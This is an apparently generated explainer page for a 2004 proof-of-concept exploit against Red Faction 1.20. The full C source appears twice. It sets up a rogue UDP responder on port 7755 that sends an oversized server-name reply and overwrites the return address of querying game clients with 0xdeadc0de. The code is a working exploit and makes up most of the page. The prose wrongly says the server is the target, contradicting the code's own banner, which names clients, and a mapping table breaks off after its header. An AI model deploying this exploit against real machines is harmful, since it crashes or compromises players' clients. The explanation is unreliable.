Red Faction 1.20 Server Reply Remote Buffer Overflow Explained

Red Faction 1.20 Server Reply Remote Buffer Overflow Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit demonstrating a remote buffer overflow vulnerability in the server component of Red Faction version 1.20. The exploit targets how the game server handles broadcast requests, specifically when it responds to clients. By sending a crafted response, an attacker can overwrite critical memory locations, including the return address, leading to a denial-of-service (DoS) condition or potentially arbitrary code execution.
Simple technical breakdown
The Red Faction game server, when running version 1.20, listens for UDP broadcast requests on port 7755. When it receives such a request, it's supposed to send back a reply containing information about the server (like its name, map, and player count).
The vulnerability lies in how the server constructs this reply. The PoC exploit crafts a malicious reply that is larger than the buffer allocated to hold it. This oversized reply overwrites adjacent memory, including the return address on the stack. The return address is a pointer that tells the program where to go back to after a function finishes. By overwriting it with a specific value (in this case, 0xdeadc0de), the program will attempt to jump to that invalid address when the function returns, causing a crash (Denial of Service).
The exploit code acts as a simple UDP server that listens for incoming connections. When it receives a packet, it sends back the crafted malicious reply. Any Red Faction 1.20 server running and listening on UDP port 7755 will be vulnerable to this attack.
Complete code and payload walkthrough
The provided code consists of a C program that acts as a malicious UDP server. It's designed to listen on port 7755 and send a crafted response to any incoming UDP packets.
/*
by Luigi Auriemma
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h" // Custom header for Windows error handling
#define close closesocket // Define 'close' to 'closesocket' for Windows
#else
#include <unistd.h> // For POSIX standard functions like close, read, write
#include <sys/socket.h> // For socket programming functions
#include <sys/types.h> // For data types used in socket programming
#include <arpa/inet.h> // For functions like inet_ntoa (network to ASCII)
#include <netdb.h> // For network database operations
#endif
#define VER "0.1" // Version of the exploit script
#define BUFFSZ 2048 // Maximum buffer size for receiving data
#define PORT 7755 // The UDP port the Red Faction server listens on
#define RETADDR "\xde\xc0\xad\xde" // The target return address (0xdeadc0de)
void std_err(void); // Function prototype for error handling
int main(int argc, char *argv[]) {
int sd, // Socket descriptor
on = 1, // Option for setsockopt (SO_REUSEADDR)
psz; // Size of the sockaddr structure
struct sockaddr_in peer; // Structure to hold peer address information
u_char *buff; // Buffer to receive data
info[] = // The crafted malicious response packet
"\x00\x01" // packet number (0x0001)
"\x00\x00" // packet size - 4 (initially 0, will be calculated)
"\x89" // version (0x89 = 1.20)
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // server name (260 bytes of 'a')
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
RETADDR "\0" // The overwritten return address (0xdeadc0de) followed by a null terminator
"\x00" // type of game (unknown purpose)
"\x01" // players (current players)
"\x08" // max players (maximum players)
"Relentless\0" // mapname (map name, null-terminated)
"\x00" // dunno? (unknown purpose)
"\x00"; // password: (0 = no password, 4 = yes)
setbuf(stdout, NULL); // Disable output buffering for stdout
// Print introductory information
fputs("\n"
"RedFaction <= 1.20 broadcast clients buffer overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
#ifdef WIN32
WSADATA wsadata; // Windows Sockets API data structure
WSAStartup(MAKEWORD(1,0), &wsadata); // Initialize Winsock
#endif
// Configure the server's listening address and port
peer.sin_addr.s_addr = INADDR_ANY; // Listen on any available interface
peer.sin_port = htons(PORT); // Set the port to 7755 (network byte order)
peer.sin_family = AF_INET; // Use IPv4
psz = sizeof(peer); // Get the size of the sockaddr structure
printf("\nBinding UDP port %u\n", PORT);
// Create a UDP socket
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err(); // Handle socket creation error
// Allow the socket to be reused immediately after closing
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err();
// Bind the socket to the configured address and port
if(bind(sd, (struct sockaddr *)&peer, psz) < 0) std_err(); // Handle bind error
buff = malloc(BUFFSZ); // Allocate memory for receiving data
if(!buff) std_err(); // Handle memory allocation error
// Calculate and set the packet size in the 'info' buffer
// The size is the total length of 'info' minus the first 4 bytes (packet number and size itself)
*(u_short *)(info + 2) = sizeof(info) - 5;
// Print the target return address
printf("Return address of clients will be overwritten with 0x%08lx\n", *(u_long *)RETADDR);
fputs("\nClients:\n", stdout);
// Main loop to listen for incoming packets and send the exploit response
while(1) {
// Receive a UDP packet
if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) < 0) std_err();
// Print the source IP and port of the client
printf("%s:%hu -> ", inet_ntoa(peer.sin_addr), htons(peer.sin_port));
// Send the crafted malicious response back to the client
if(sendto(sd, info, sizeof(info) - 1, 0, (struct sockaddr *)&peer, psz) < 0) std_err();
fputs("BOOM\n", stdout); // Indicate that the exploit response was sent
}
close(sd); // Close the socket descriptor
return(0); // Exit successfully
}
#ifndef WIN32
// Standard error handling for non-Windows systems
void std_err(void) {
perror("\nError"); // Print system error message
exit(1); // Exit with an error code
}
#endifThe winerr.h file provides a custom std_err function for Windows that maps Winsock error codes to human-readable strings.
info[] array breakdown:
This is the core of the exploit payload, defining the data sent back to the vulnerable Red Faction server.
"\x00\x01": This is the packet number. It's a two-byte field, and0x0001likely signifies a specific type of server broadcast response."\x00\x00": This is the packet size field. It's a two-byte field that should indicate the size of the packet following these first four bytes. The code later corrects this:*(u_short *)(info + 2) = sizeof(info) - 5;. This means the size will be set to the actual length of theinfoarray minus 5 bytes (the packet number, the size field itself, and the version byte). This calculated size is crucial for the server's internal packet handling."\x89": This byte represents the game version.0x89corresponds to version 1.20, which is the vulnerable version."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ... (260 bytes): This is a long string of 'a' characters. This field is intended to be the server's name. The vulnerability occurs because the server doesn't properly check the length of this string when constructing its response. The exploit provides a string that is much longer than expected, leading to a buffer overflow.RETADDR "\0": This is the critical part for the exploit.RETADDRis defined as"\xde\xc0\xad\xde", which is the hexadecimal representation of0xdeadc0de. This value is placed directly after the oversized server name. When the server function that processes this response finishes, it will attempt to return to the address stored in the return address slot on the stack. By overwriting this slot with0xdeadc0de, the program will try to execute code at this invalid memory address, causing a crash. The"\0"is a null terminator, which might be expected by some string handling functions."\x00": This byte is labeled "type of game" in the comments. Its exact purpose in the protocol is unknown from this code alone, but it's part of the crafted response."\x01": This byte represents the current number of players."\x08": This byte represents the maximum number of players."Relentless\0": This is the map name, followed by a null terminator."\x00": This byte is labeled "dunno?" in the comments. Its purpose is unknown."\x00": This byte is labeled "password:". A value of0typically indicates no password, while4might indicate a password is set.
Code Block Mapping to Practical Purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 7755
#define RETADDR "\xde\xc0\xad\xde" // 0xdeadc0de
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
on = 1,
psz;
struct sockaddr_in peer;
u_char *buff,
info[] =
"\x00\x01" // packet number
"\x00\x00" // packet size - 4
"\x89" // version (x89 = 1.20)
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // server name (260 bytes)
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
RETADDR "\0"
"\x00" // type of game
"\x01" // players
"\x08" // max players
"Relentless\0" // mapname
"\x00" // dunno?
"\x00"; // password:
// 4 = yes, 0 = none
setbuf(stdout, NULL);
fputs("\n"
"RedFaction <= 1.20 broadcast clients buffer overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("\nBinding UDP port %u\n", PORT);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, psz)
< 0) std_err();
buff = malloc(BUFFSZ);
if(!buff) std_err();
*(u_short *)(info + 2) = sizeof(info) - 5;
printf("Return address of clients will be overwritten with 0x%08lx\n", *(u_long *)RETADDR);
fputs("\nClients:\n", stdout);
while(1) {
if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz)
< 0) std_err();
printf("%s:%hu -> ", inet_ntoa(peer.sin_addr), htons(peer.sin_port));
if(sendto(sd, info, sizeof(info) - 1, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
fputs("BOOM\n", stdout);
}
close(sd);
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
--------------------------------------------------------------------------------------------------
//winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
// milw0rm.com [2004-03-04]